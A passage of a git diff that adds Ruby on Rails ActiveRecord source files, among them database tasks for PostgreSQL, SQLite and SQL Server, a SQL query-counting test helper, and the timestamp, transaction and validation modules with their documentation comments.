+ IO.read(filename).split(";\n\n").each { |ddl| connection.execute(ddl) }
+ end
+
+ private
+
+ def configuration
+ @configuration
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
new file mode 100644
index 0000000..0b1b030
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
@@ -0,0 +1,90 @@
+require 'shellwords'
+
+module ActiveRecord
+ module Tasks # :nodoc:
+ class PostgreSQLDatabaseTasks # :nodoc:
+ DEFAULT_ENCODING = ENV['CHARSET'] || 'utf8'
+
+ delegate :connection, :establish_connection, :clear_active_connections!,
+ to: ActiveRecord::Base
+
+ def initialize(configuration)
+ @configuration = configuration
+ end
+
+ def create(master_established = false)
+ establish_master_connection unless master_established
+ connection.create_database configuration['database'],
+ configuration.merge('encoding' => encoding)
+ establish_connection configuration
+ rescue ActiveRecord::StatementInvalid => error
+ if /database .* already exists/ === error.message
+ raise DatabaseAlreadyExists
+ else
+ raise
+ end
+ end
+
+ def drop
+ establish_master_connection
+ connection.drop_database configuration['database']
+ end
+
+ def charset
+ connection.encoding
+ end
+
+ def collation
+ connection.collation
+ end
+
+ def purge
+ clear_active_connections!
+ drop
+ create true
+ end
+
+ def structure_dump(filename)
+ set_psql_env
+ search_path = configuration['schema_search_path']
+ unless search_path.blank?
+ search_path = search_path.split(",").map{|search_path_part| "--schema=#{Shellwords.escape(search_path_part.strip)}" }.join(" ")
+ end
+
+ command = "pg_dump -i -s -x -O -f #{Shellwords.escape(filename)} #{search_path} #{Shellwords.escape(configuration['database'])}"
+ raise 'Error dumping database' unless Kernel.system(command)
+
+ File.open(filename, "a") { |f| f << "SET search_path TO #{ActiveRecord::Base.connection.schema_search_path};\n\n" }
+ end
+
+ def structure_load(filename)
+ set_psql_env
+ Kernel.system("psql -f #{filename} #{configuration['database']}")
+ end
+
+ private
+
+ def configuration
+ @configuration
+ end
+
+ def encoding
+ configuration['encoding'] || DEFAULT_ENCODING
+ end
+
+ def establish_master_connection
+ establish_connection configuration.merge(
+ 'database' => 'postgres',
+ 'schema_search_path' => 'public'
+ )
+ end
+
+ def set_psql_env
+ ENV['PGHOST'] = configuration['host'] if configuration['host']
+ ENV['PGPORT'] = configuration['port'].to_s if configuration['port']
+ ENV['PGPASSWORD'] = configuration['password'].to_s if configuration['password']
+ ENV['PGUSER'] = configuration['username'].to_s if configuration['username']
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
new file mode 100644
index 0000000..de8b166
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
@@ -0,0 +1,51 @@
+module ActiveRecord
+ module Tasks # :nodoc:
+ class SQLiteDatabaseTasks # :nodoc:
+ delegate :connection, :establish_connection, to: ActiveRecord::Base
+
+ def initialize(configuration, root = Rails.root)
+ @configuration, @root = configuration, root
+ end
+
+ def create
+ raise DatabaseAlreadyExists if File.exist?(configuration['database'])
+
+ establish_connection configuration
+ connection
+ end
+
+ def drop
+ require 'pathname'
+ path = Pathname.new configuration['database']
+ file = path.absolute? ? path.to_s : File.join(root, path)
+
+ FileUtils.rm(file) if File.exist?(file)
+ end
+ alias :purge :drop
+
+ def charset
+ connection.encoding
+ end
+
+ def structure_dump(filename)
+ dbfile = configuration['database']
+ `sqlite3 #{dbfile} .schema > #{filename}`
+ end
+
+ def structure_load(filename)
+ dbfile = configuration['database']
+ `sqlite3 #{dbfile} < "#{filename}"`
+ end
+
+ private
+
+ def configuration
+ @configuration
+ end
+
+ def root
+ @root
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/tasks/sqlserver_database_tasks.rb b/activerecord/lib/active_record/tasks/sqlserver_database_tasks.rb
new file mode 100644
index 0000000..c718ee0
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/sqlserver_database_tasks.rb
@@ -0,0 +1,48 @@
+require 'shellwords'
+
+module ActiveRecord
+ module Tasks # :nodoc:
+ class SqlserverDatabaseTasks # :nodoc:
+ delegate :connection, :establish_connection, to: ActiveRecord::Base
+
+ def initialize(configuration)
+ ActiveSupport::Deprecation.warn "This database tasks were deprecated, because this tasks should be served by the 3rd party adapter."
+ @configuration = configuration
+ end
+
+ def create
+ $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+ end
+
+ def drop
+ $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+ end
+
+ def purge
+ test = configuration.deep_dup
+ test_database = test['database']
+ test['database'] = 'master'
+ establish_connection(test)
+ connection.recreate_database!(test_database)
+ end
+
+ def charset
+ $stderr.puts 'sorry, your database adapter is not supported yet, feel free to submit a patch'
+ end
+
+ def structure_dump(filename)
+ Kernel.system("smoscript -s #{configuration['host']} -d #{configuration['database']} -u #{configuration['username']} -p #{configuration['password']} -f #{filename} -A -U")
+ end
+
+ def structure_load(filename)
+ Kernel.system("sqlcmd -S #{configuration['host']} -d #{configuration['database']} -U #{configuration['username']} -P #{configuration['password']} -i #{filename}")
+ end
+
+ private
+
+ def configuration
+ @configuration
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/test_case.rb b/activerecord/lib/active_record/test_case.rb
new file mode 100644
index 0000000..e914248
--- /dev/null
+++ b/activerecord/lib/active_record/test_case.rb
@@ -0,0 +1,96 @@
+require 'active_support/test_case'
+
+ActiveSupport::Deprecation.warn('ActiveRecord::TestCase is deprecated, please use ActiveSupport::TestCase')
+module ActiveRecord
+ # = Active Record Test Case
+ #
+ # Defines some test assertions to test against SQL queries.
+ class TestCase < ActiveSupport::TestCase #:nodoc:
+ def teardown
+ SQLCounter.clear_log
+ end
+
+ def assert_date_from_db(expected, actual, message = nil)
+ # SybaseAdapter doesn't have a separate column type just for dates,
+ # so the time is in the string and incorrectly formatted
+ if current_adapter?(:SybaseAdapter)
+ assert_equal expected.to_s, actual.to_date.to_s, message
+ else
+ assert_equal expected.to_s, actual.to_s, message
+ end
+ end
+
+ def assert_sql(*patterns_to_match)
+ SQLCounter.clear_log
+ yield
+ SQLCounter.log_all
+ ensure
+ failed_patterns = []
+ patterns_to_match.each do |pattern|
+ failed_patterns << pattern unless SQLCounter.log_all.any?{ |sql| pattern === sql }
+ end
+ assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
+ end
+
+ def assert_queries(num = 1, options = {})
+ ignore_none = options.fetch(:ignore_none) { num == :any }
+ SQLCounter.clear_log
+ yield
+ ensure
+ the_log = ignore_none ? SQLCounter.log_all : SQLCounter.log
+ if num == :any
+ assert_operator the_log.size, :>=, 1, "1 or more queries expected, but none were executed."
+ else
+ mesg = "#{the_log.size} instead of #{num} queries were executed.#{the_log.size == 0 ? '' : "\nQueries:\n#{the_log.join("\n")}"}"
+ assert_equal num, the_log.size, mesg
+ end
+ end
+
+ def assert_no_queries(&block)
+ assert_queries(0, :ignore_none => true, &block)
+ end
+
+ end
+
+ class SQLCounter
+ class << self
+ attr_accessor :ignored_sql, :log, :log_all
+ def clear_log; self.log = []; self.log_all = []; end
+ end
+
+ self.clear_log
+
+ self.ignored_sql = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
+
+ # FIXME: this needs to be refactored so specific database can add their own
+ # ignored SQL, or better yet, use a different notification for the queries
+ # instead examining the SQL content.
+ oracle_ignored = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im]
+ mysql_ignored = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/]
+ postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i]
+ sqlite3_ignored = [/^\s*SELECT name\b.*\bFROM sqlite_master/im]
+
+ [oracle_ignored, mysql_ignored, postgresql_ignored, sqlite3_ignored].each do |db_ignored_sql|
+ ignored_sql.concat db_ignored_sql
+ end
+
+ attr_reader :ignore
+
+ def initialize(ignore = Regexp.union(self.class.ignored_sql))
+ @ignore = ignore
+ end
+
+ def call(name, start, finish, message_id, values)
+ sql = values[:sql]
+
+ # FIXME: this seems bad. we should probably have a better way to indicate
+ # the query was cached
+ return if 'CACHE' == values[:name]
+
+ self.class.log_all << sql
+ self.class.log << sql unless ignore =~ sql
+ end
+ end
+
+ ActiveSupport::Notifications.subscribe('sql.active_record', SQLCounter.new)
+end
diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb
new file mode 100644
index 0000000..ae99cff
--- /dev/null
+++ b/activerecord/lib/active_record/timestamp.rb
@@ -0,0 +1,119 @@
+
+module ActiveRecord
+ # = Active Record Timestamp
+ #
+ # Active Record automatically timestamps create and update operations if the
+ # table has fields named <tt>created_at/created_on</tt> or
+ # <tt>updated_at/updated_on</tt>.
+ #
+ # Timestamping can be turned off by setting:
+ #
+ # config.active_record.record_timestamps = false
+ #
+ # Timestamps are in the local timezone by default but you can use UTC by setting:
+ #
+ # config.active_record.default_timezone = :utc
+ #
+ # == Time Zone aware attributes
+ #
+ # By default, ActiveRecord::Base keeps all the datetime columns time zone aware by executing following code.
+ #
+ # config.active_record.time_zone_aware_attributes = true
+ #
+ # This feature can easily be turned off by assigning value <tt>false</tt> .
+ #
+ # If your attributes are time zone aware and you desire to skip time zone conversion to the current Time.zone
+ # when reading certain attributes then you can do following:
+ #
+ # class Topic < ActiveRecord::Base
+ # self.skip_time_zone_conversion_for_attributes = [:written_on]
+ # end
+ module Timestamp
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :record_timestamps
+ self.record_timestamps = true
+ end
+
+ def initialize_dup(other) # :nodoc:
+ clear_timestamp_attributes
+ super
+ end
+
+ private
+
+ def create_record
+ if self.record_timestamps
+ current_time = current_time_from_proper_timezone
+
+ all_timestamp_attributes.each do |column|
+ if respond_to?(column) && respond_to?("#{column}=") && self.send(column).nil?
+ write_attribute(column.to_s, current_time)
+ end
+ end
+ end
+
+ super
+ end
+
+ def update_record(*args)
+ if should_record_timestamps?
+ current_time = current_time_from_proper_timezone
+
+ timestamp_attributes_for_update_in_model.each do |column|
+ column = column.to_s
+ next if attribute_changed?(column)
+ write_attribute(column, current_time)
+ end
+ end
+ super
+ end
+
+ def should_record_timestamps?
+ self.record_timestamps && (!partial_writes? || changed? || (attributes.keys & self.class.serialized_attributes.keys).present?)
+ end
+
+ def timestamp_attributes_for_create_in_model
+ timestamp_attributes_for_create.select { |c| self.class.column_names.include?(c.to_s) }
+ end
+
+ def timestamp_attributes_for_update_in_model
+ timestamp_attributes_for_update.select { |c| self.class.column_names.include?(c.to_s) }
+ end
+
+ def all_timestamp_attributes_in_model
+ timestamp_attributes_for_create_in_model + timestamp_attributes_for_update_in_model
+ end
+
+ def timestamp_attributes_for_update
+ [:updated_at, :updated_on]
+ end
+
+ def timestamp_attributes_for_create
+ [:created_at, :created_on]
+ end
+
+ def all_timestamp_attributes
+ timestamp_attributes_for_create + timestamp_attributes_for_update
+ end
+
+ def max_updated_column_timestamp
+ if (timestamps = timestamp_attributes_for_update.map { |attr| self[attr] }.compact).present?
+ timestamps.map { |ts| ts.to_time }.max
+ end
+ end
+
+ def current_time_from_proper_timezone
+ self.class.default_timezone == :utc ? Time.now.utc : Time.now
+ end
+
+ # Clear attributes and changed_attributes
+ def clear_timestamp_attributes
+ all_timestamp_attributes_in_model.each do |attribute_name|
+ self[attribute_name] = nil
+ changed_attributes.delete(attribute_name)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
new file mode 100644
index 0000000..a5955cc
--- /dev/null
+++ b/activerecord/lib/active_record/transactions.rb
@@ -0,0 +1,399 @@
+require 'thread'
+
+module ActiveRecord
+ # See ActiveRecord::Transactions::ClassMethods for documentation.
+ module Transactions
+ extend ActiveSupport::Concern
+ ACTIONS = [:create, :destroy, :update]
+
+ class TransactionError < ActiveRecordError # :nodoc:
+ end
+
+ included do
+ define_callbacks :commit, :rollback, :terminator => "result == false", :scope => [:kind, :name]
+ end
+
+ # = Active Record Transactions
+ #
+ # Transactions are protective blocks where SQL statements are only permanent
+ # if they can all succeed as one atomic action. The classic example is a
+ # transfer between two accounts where you can only have a deposit if the
+ # withdrawal succeeded and vice versa. Transactions enforce the integrity of
+ # the database and guard the data against program errors or database
+ # break-downs. So basically you should use transaction blocks whenever you
+ # have a number of statements that must be executed together or not at all.
+ #
+ # For example:
+ #
+ # ActiveRecord::Base.transaction do
+ # david.withdrawal(100)
+ # mary.deposit(100)
+ # end
+ #
+ # This example will only take money from David and give it to Mary if neither
+ # +withdrawal+ nor +deposit+ raise an exception. Exceptions will force a
+ # ROLLBACK that returns the database to the state before the transaction
+ # began. Be aware, though, that the objects will _not_ have their instance
+ # data returned to their pre-transactional state.
+ #
+ # == Different Active Record classes in a single transaction
+ #
+ # Though the transaction class method is called on some Active Record class,
+ # the objects within the transaction block need not all be instances of
+ # that class. This is because transactions are per-database connection, not
+ # per-model.
+ #
+ # In this example a +balance+ record is transactionally saved even
+ # though +transaction+ is called on the +Account+ class:
+ #
+ # Account.transaction do
+ # balance.save!
+ # account.save!
+ # end
+ #
+ # The +transaction+ method is also available as a model instance method.
+ # For example, you can also do this:
+ #
+ # balance.transaction do
+ # balance.save!
+ # account.save!
+ # end
+ #
+ # == Transactions are not distributed across database connections
+ #
+ # A transaction acts on a single database connection. If you have
+ # multiple class-specific databases, the transaction will not protect
+ # interaction among them. One workaround is to begin a transaction
+ # on each class whose models you alter:
+ #
+ # Student.transaction do
+ # Course.transaction do
+ # course.enroll(student)
+ # student.units += course.units
+ # end
+ # end
+ #
+ # This is a poor solution, but fully distributed transactions are beyond
+ # the scope of Active Record.
+ #
+ # == +save+ and +destroy+ are automatically wrapped in a transaction
+ #
+ # Both +save+ and +destroy+ come wrapped in a transaction that ensures
+ # that whatever you do in validations or callbacks will happen under its
+ # protected cover. So you can use validations to check for values that
+ # the transaction depends on or you can raise exceptions in the callbacks
+ # to rollback, including <tt>after_*</tt> callbacks.
+ #
+ # As a consequence changes to the database are not seen outside your connection
+ # until the operation is complete. For example, if you try to update the index
+ # of a search engine in +after_save+ the indexer won't see the updated record.
+ # The +after_commit+ callback is the only one that is triggered once the update
+ # is committed. See below.
+ #
+ # == Exception handling and rolling back
+ #
+ # Also have in mind that exceptions thrown within a transaction block will
+ # be propagated (after triggering the ROLLBACK), so you should be ready to
+ # catch those in your application code.
+ #
+ # One exception is the <tt>ActiveRecord::Rollback</tt> exception, which will trigger
+ # a ROLLBACK when raised, but not be re-raised by the transaction block.
+ #
+ # *Warning*: one should not catch <tt>ActiveRecord::StatementInvalid</tt> exceptions
+ # inside a transaction block. <tt>ActiveRecord::StatementInvalid</tt> exceptions indicate that an
+ # error occurred at the database level, for example when a unique constraint
+ # is violated. On some database systems, such as PostgreSQL, database errors
+ # inside a transaction cause the entire transaction to become unusable
+ # until it's restarted from the beginning. Here is an example which
+ # demonstrates the problem:
+ #
+ # # Suppose that we have a Number model with a unique column called 'i'.
+ # Number.transaction do
+ # Number.create(i: 0)
+ # begin
+ # # This will raise a unique constraint error...
+ # Number.create(i: 0)
+ # rescue ActiveRecord::StatementInvalid
+ # # ...which we ignore.
+ # end
+ #
+ # # On PostgreSQL, the transaction is now unusable. The following
+ # # statement will cause a PostgreSQL error, even though the unique
+ # # constraint is no longer violated:
+ # Number.create(i: 1)
+ # # => "PGError: ERROR: current transaction is aborted, commands
+ # # ignored until end of transaction block"
+ # end
+ #
+ # One should restart the entire transaction if an
+ # <tt>ActiveRecord::StatementInvalid</tt> occurred.
+ #
+ # == Nested transactions
+ #
+ # +transaction+ calls can be nested. By default, this makes all database
+ # statements in the nested transaction block become part of the parent
+ # transaction. For example, the following behavior may be surprising:
+ #
+ # User.transaction do
+ # User.create(username: 'Kotori')
+ # User.transaction do
+ # User.create(username: 'Nemu')
+ # raise ActiveRecord::Rollback
+ # end
+ # end
+ #
+ # creates both "Kotori" and "Nemu". Reason is the <tt>ActiveRecord::Rollback</tt>
+ # exception in the nested block does not issue a ROLLBACK. Since these exceptions
+ # are captured in transaction blocks, the parent block does not see it and the
+ # real transaction is committed.
+ #
+ # In order to get a ROLLBACK for the nested transaction you may ask for a real
+ # sub-transaction by passing <tt>requires_new: true</tt>. If anything goes wrong,
+ # the database rolls back to the beginning of the sub-transaction without rolling
+ # back the parent transaction. If we add it to the previous example:
+ #
+ # User.transaction do
+ # User.create(username: 'Kotori')
+ # User.transaction(requires_new: true) do
+ # User.create(username: 'Nemu')
+ # raise ActiveRecord::Rollback
+ # end
+ # end
+ #
+ # only "Kotori" is created. This works on MySQL and PostgreSQL. SQLite3 version >= '3.6.8' also supports it.
+ #
+ # Most databases don't support true nested transactions. At the time of
+ # writing, the only database that we're aware of that supports true nested
+ # transactions, is MS-SQL. Because of this, Active Record emulates nested
+ # transactions by using savepoints on MySQL and PostgreSQL. See
+ # http://dev.mysql.com/doc/refman/5.6/en/savepoint.html
+ # for more information about savepoints.
+ #
+ # === Callbacks
+ #
+ # There are two types of callbacks associated with committing and rolling back transactions:
+ # +after_commit+ and +after_rollback+.
+ #
+ # +after_commit+ callbacks are called on every record saved or destroyed within a
+ # transaction immediately after the transaction is committed. +after_rollback+ callbacks
+ # are called on every record saved or destroyed within a transaction immediately after the
+ # transaction or savepoint is rolled back.
+ #
+ # These callbacks are useful for interacting with other systems since you will be guaranteed
+ # that the callback is only executed when the database is in a permanent state. For example,
+ # +after_commit+ is a good spot to put in a hook to clearing a cache since clearing it from
+ # within a transaction could trigger the cache to be regenerated before the database is updated.
+ #
+ # === Caveats
+ #
+ # If you're on MySQL, then do not use DDL operations in nested transactions
+ # blocks that are emulated with savepoints. That is, do not execute statements
+ # like 'CREATE TABLE' inside such blocks. This is because MySQL automatically
+ # releases all savepoints upon executing a DDL operation. When +transaction+
+ # is finished and tries to release the savepoint it created earlier, a
+ # database error will occur because the savepoint has already been
+ # automatically released. The following example demonstrates the problem:
+ #
+ # Model.connection.transaction do # BEGIN
+ # Model.connection.transaction(requires_new: true) do # CREATE SAVEPOINT active_record_1
+ # Model.connection.create_table(...) # active_record_1 now automatically released
+ # end # RELEASE savepoint active_record_1
+ # # ^^^^ BOOM! database error!
+ # end
+ #
+ # Note that "TRUNCATE" is also a MySQL DDL statement!
+ module ClassMethods
+ # See ActiveRecord::Transactions::ClassMethods for detailed documentation.
+ def transaction(options = {}, &block)
+ # See the ConnectionAdapters::DatabaseStatements#transaction API docs.
+ connection.transaction(options, &block)
+ end
+
+ # This callback is called after a record has been created, updated, or destroyed.
+ #
+ # You can specify that the callback should only be fired by a certain action with
+ # the +:on+ option:
+ #
+ # after_commit :do_foo, on: :create
+ # after_commit :do_bar, on: :update
+ # after_commit :do_baz, on: :destroy
+ #
+ # after_commit :do_foo_bar, :on [:create, :update]
+ # after_commit :do_bar_baz, :on [:update, :destroy]
+ #
+ # Note that transactional fixtures do not play well with this feature. Please
+ # use the +test_after_commit+ gem to have these hooks fired in tests.
+ def after_commit(*args, &block)
+ set_options_for_callbacks!(args)
+ set_callback(:commit, :after, *args, &block)
+ end
+
+ # This callback is called after a create, update, or destroy are rolled back.
+ #
+ # Please check the documentation of +after_commit+ for options.
+ def after_rollback(*args, &block)
+ set_options_for_callbacks!(args)
+ set_callback(:rollback, :after, *args, &block)
+ end
+
+ private
+
+ def set_options_for_callbacks!(args)
+ options = args.last
+ if options.is_a?(Hash) && options[:on]
+ assert_valid_transaction_action(options[:on])
+ options[:if] = Array(options[:if])
+ fire_on = Array(options[:on]).map(&:to_sym)
+ options[:if] << "transaction_include_any_action?(#{fire_on})"
+ end
+ end
+
+ def assert_valid_transaction_action(actions)
+ actions = Array(actions)
+ if (actions - ACTIONS).any?
+ raise ArgumentError, ":on conditions for after_commit and after_rollback callbacks have to be one of #{ACTIONS.join(",")}"
+ end
+ end
+ end
+
+ # See ActiveRecord::Transactions::ClassMethods for detailed documentation.
+ def transaction(options = {}, &block)
+ self.class.transaction(options, &block)
+ end
+
+ def destroy #:nodoc:
+ with_transaction_returning_status { super }
+ end
+
+ def save(*) #:nodoc:
+ rollback_active_record_state! do
+ with_transaction_returning_status { super }
+ end
+ end
+
+ def save!(*) #:nodoc:
+ with_transaction_returning_status { super }
+ end
+
+ # Reset id and @new_record if the transaction rolls back.
+ def rollback_active_record_state!
+ remember_transaction_record_state
+ yield
+ rescue Exception
+ restore_transaction_record_state
+ raise
+ ensure
+ clear_transaction_record_state
+ end
+
+ # Call the after_commit callbacks
+ #
+ # Ensure that it is not called if the object was never persisted (failed create),
+ # but call it after the commit of a destroyed object
+ def committed! #:nodoc:
+ run_callbacks :commit if destroyed? || persisted?
+ ensure
+ clear_transaction_record_state
+ end
+
+ # Call the after rollback callbacks. The restore_state argument indicates if the record
+ # state should be rolled back to the beginning or just to the last savepoint.
+ def rolledback!(force_restore_state = false) #:nodoc:
+ run_callbacks :rollback
+ ensure
+ restore_transaction_record_state(force_restore_state)
+ end
+
+ # Add the record to the current transaction so that the :after_rollback and :after_commit callbacks
+ # can be called.
+ def add_to_transaction
+ if self.class.connection.add_transaction_record(self)
+ remember_transaction_record_state
+ end
+ end
+
+ # Executes +method+ within a transaction and captures its return value as a
+ # status flag. If the status is true the transaction is committed, otherwise
+ # a ROLLBACK is issued. In any case the status flag is returned.
+ #
+ # This method is available within the context of an ActiveRecord::Base
+ # instance.
+ def with_transaction_returning_status
+ status = nil
+ self.class.transaction do
+ add_to_transaction
+ begin
+ status = yield
+ rescue ActiveRecord::Rollback
+ @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
+ status = nil
+ end
+
+ raise ActiveRecord::Rollback unless status
+ end
+ status
+ end
+
+ protected
+
+ # Save the new record state and id of a record so it can be restored later if a transaction fails.
+ def remember_transaction_record_state #:nodoc:
+ @_start_transaction_state[:id] = id if has_attribute?(self.class.primary_key)
+ unless @_start_transaction_state.include?(:new_record)
+ @_start_transaction_state[:new_record] = @new_record
+ end
+ unless @_start_transaction_state.include?(:destroyed)
+ @_start_transaction_state[:destroyed] = @destroyed
+ end
+ @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) + 1
+ @_start_transaction_state[:frozen?] = @attributes.frozen?
+ end
+
+ # Clear the new record state and id of a record.
+ def clear_transaction_record_state #:nodoc:
+ @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
+ @_start_transaction_state.clear if @_start_transaction_state[:level] < 1
+ end
+
+ # Restore the new record state and id of a record that was previously saved by a call to save_record_state.
+ def restore_transaction_record_state(force = false) #:nodoc:
+ unless @_start_transaction_state.empty?
+ @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
+ if @_start_transaction_state[:level] < 1 || force
+ restore_state = @_start_transaction_state
+ was_frozen = restore_state[:frozen?]
+ @attributes = @attributes.dup if @attributes.frozen?
+ @new_record = restore_state[:new_record]
+ @destroyed = restore_state[:destroyed]
+ if restore_state.has_key?(:id)
+ self.id = restore_state[:id]
+ else
+ @attributes.delete(self.class.primary_key)
+ @attributes_cache.delete(self.class.primary_key)
+ end
+ @attributes.freeze if was_frozen
+ @_start_transaction_state.clear
+ end
+ end
+ end
+
+ # Determine if a record was created or destroyed in a transaction. State should be one of :new_record or :destroyed.
+ def transaction_record_state(state) #:nodoc:
+ @_start_transaction_state[state]
+ end
+
+ # Determine if a transaction included an action for :create, :update, or :destroy. Used in filtering callbacks.
+ def transaction_include_any_action?(actions) #:nodoc:
+ actions.any? do |action|
+ case action
+ when :create
+ transaction_record_state(:new_record)
+ when :destroy
+ destroyed?
+ when :update
+ !(transaction_record_state(:new_record) || destroyed?)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/translation.rb b/activerecord/lib/active_record/translation.rb
new file mode 100644
index 0000000..ddcb5f2
--- /dev/null
+++ b/activerecord/lib/active_record/translation.rb
@@ -0,0 +1,22 @@
+module ActiveRecord
+ module Translation
+ include ActiveModel::Translation
+
+ # Set the lookup ancestors for ActiveModel.
+ def lookup_ancestors #:nodoc:
+ klass = self
+ classes = [klass]
+ return classes if klass == ActiveRecord::Base
+
+ while klass != klass.base_class
+ classes << klass = klass.superclass
+ end
+ classes
+ end
+
+ # Set the i18n scope to overwrite ActiveModel.
+ def i18n_scope #:nodoc:
+ :activerecord
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
new file mode 100644
index 0000000..26dca41
--- /dev/null
+++ b/activerecord/lib/active_record/validations.rb
@@ -0,0 +1,84 @@
+module ActiveRecord
+ # = Active Record RecordInvalid
+ #
+ # Raised by <tt>save!</tt> and <tt>create!</tt> when the record is invalid. Use the
+ # +record+ method to retrieve the record which did not validate.
+ #
+ # begin
+ # complex_operation_that_calls_save!_internally
+ # rescue ActiveRecord::RecordInvalid => invalid
+ # puts invalid.record.errors
+ # end
+ class RecordInvalid < ActiveRecordError
+ attr_reader :record # :nodoc:
+ def initialize(record) # :nodoc:
+ @record = record
+ errors = @record.errors.full_messages.join(", ")
+ super(I18n.t(:"#{@record.class.i18n_scope}.errors.messages.record_invalid", :errors => errors, :default => :"errors.messages.record_invalid"))
+ end
+ end
+
+ # = Active Record Validations
+ #
+ # Active Record includes the majority of its validations from <tt>ActiveModel::Validations</tt>
+ # all of which accept the <tt>:on</tt> argument to define the context where the
+ # validations are active. Active Record will always supply either the context of
+ # <tt>:create</tt> or <tt>:update</tt> dependent on whether the model is a
+ # <tt>new_record?</tt>.
+ module Validations
+ extend ActiveSupport::Concern
+ include ActiveModel::Validations
+
+ module ClassMethods
+ # Creates an object just like Base.create but calls <tt>save!</tt> instead of +save+
+ # so an exception is raised if the record is invalid.
+ def create!(attributes = nil, &block)
+ if attributes.is_a?(Array)
+ attributes.collect { |attr| create!(attr, &block) }
+ else
+ object = new(attributes)
+ yield(object) if block_given?
+ object.save!
+ object
+ end
+ end
+ end
+
+ # The validation process on save can be skipped by passing <tt>validate: false</tt>.
+ # The regular Base#save method is replaced with this when the validations
+ # module is mixed in, which it is by default.
+ def save(options={})
+ perform_validations(options) ? super : false
+ end
+
+ # Attempts to save the record just like Base#save but will raise a +RecordInvalid+
+ # exception instead of returning +false+ if the record is not valid.
+ def save!(options={})
+ perform_validations(options) ? super : raise(RecordInvalid.new(self))
+ end
+
+ # Runs all the validations within the specified context. Returns +true+ if
+ # no errors are found, +false+ otherwise.
+ #
+ # If the argument is +false+ (default is +nil+), the context is set to <tt>:create</tt> if
+ # <tt>new_record?</tt> is +true+, and to <tt>:update</tt> if it is not.
+ #
+ # Validations with no <tt>:on</tt> option will run no matter the context. Validations with
+ # some <tt>:on</tt> option will only run in the specified context.
+ def valid?(context = nil)
+ context ||= (new_record? ? :create : :update)
+ output = super(context)
+ errors.empty? && output
+ end
+
+ protected
+
+ def perform_validations(options={}) # :nodoc:
+ options[:validate] == false || valid?(options[:context])
+ end
+ end
+end
+
+require "active_record/validations/associated"
+require "active_record/validations/uniqueness"
+require "active_record/validations/presence"
diff --git a/activerecord/lib/active_record/validations/associated.rb b/activerecord/lib/active_record/validations/associated.rb
new file mode 100644
index 0000000..7f1972c
--- /dev/null
+++ b/activerecord/lib/active_record/validations/associated.rb
@@ -0,0 +1,49 @@
+module ActiveRecord
+ module Validations
+ class AssociatedValidator < ActiveModel::EachValidator #:nodoc:
+ def validate_each(record, attribute, value)
+ if Array.wrap(value).reject {|r| r.marked_for_destruction? || r.valid?(record.validation_context) }.any?
+ record.errors.add(attribute, :invalid, options.merge(:value => value))
+ end
+ end
+ end
+
+ module ClassMethods
+ # Validates whether the associated object or objects are all valid
+ # themselves. Works with any kind of association.
+ #
+ # class Book < ActiveRecord::Base
+ # has_many :pages
+ # belongs_to :library
+ #
+ # validates_associated :pages, :library
+ # end
+ #
+ # WARNING: This validation must not be used on both ends of an association.
+ # Doing so will lead to a circular dependency and cause infinite recursion.
+ #
+ # NOTE: This validation will not fail if the association hasn't been
+ # assigned. If you want to ensure that the association is both present and
+ # guaranteed to be valid, you also need to use +validates_presence_of+.
+ #
+ # Configuration options:
+ #
+ # * <tt>:message</tt> - A custom error message (default is: "is invalid").
+ # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
+ # validation contexts by default (+nil+), other options are <tt>:create</tt>
+ # and <tt>:update</tt>.
+ # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+ # if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+ # or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+ # proc or string should return or evaluate to a +true+ or +false+ value.
+ # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+ # determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+ # or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+ # method, proc or string should return or evaluate to a +true+ or +false+
+ # value.
+ def validates_associated(*attr_names)
+ validates_with AssociatedValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/validations/presence.rb b/activerecord/lib/active_record/validations/presence.rb
new file mode 100644
index 0000000..6b14c39
--- /dev/null
+++ b/activerecord/lib/active_record/validations/presence.rb
@@ -0,0 +1,65 @@
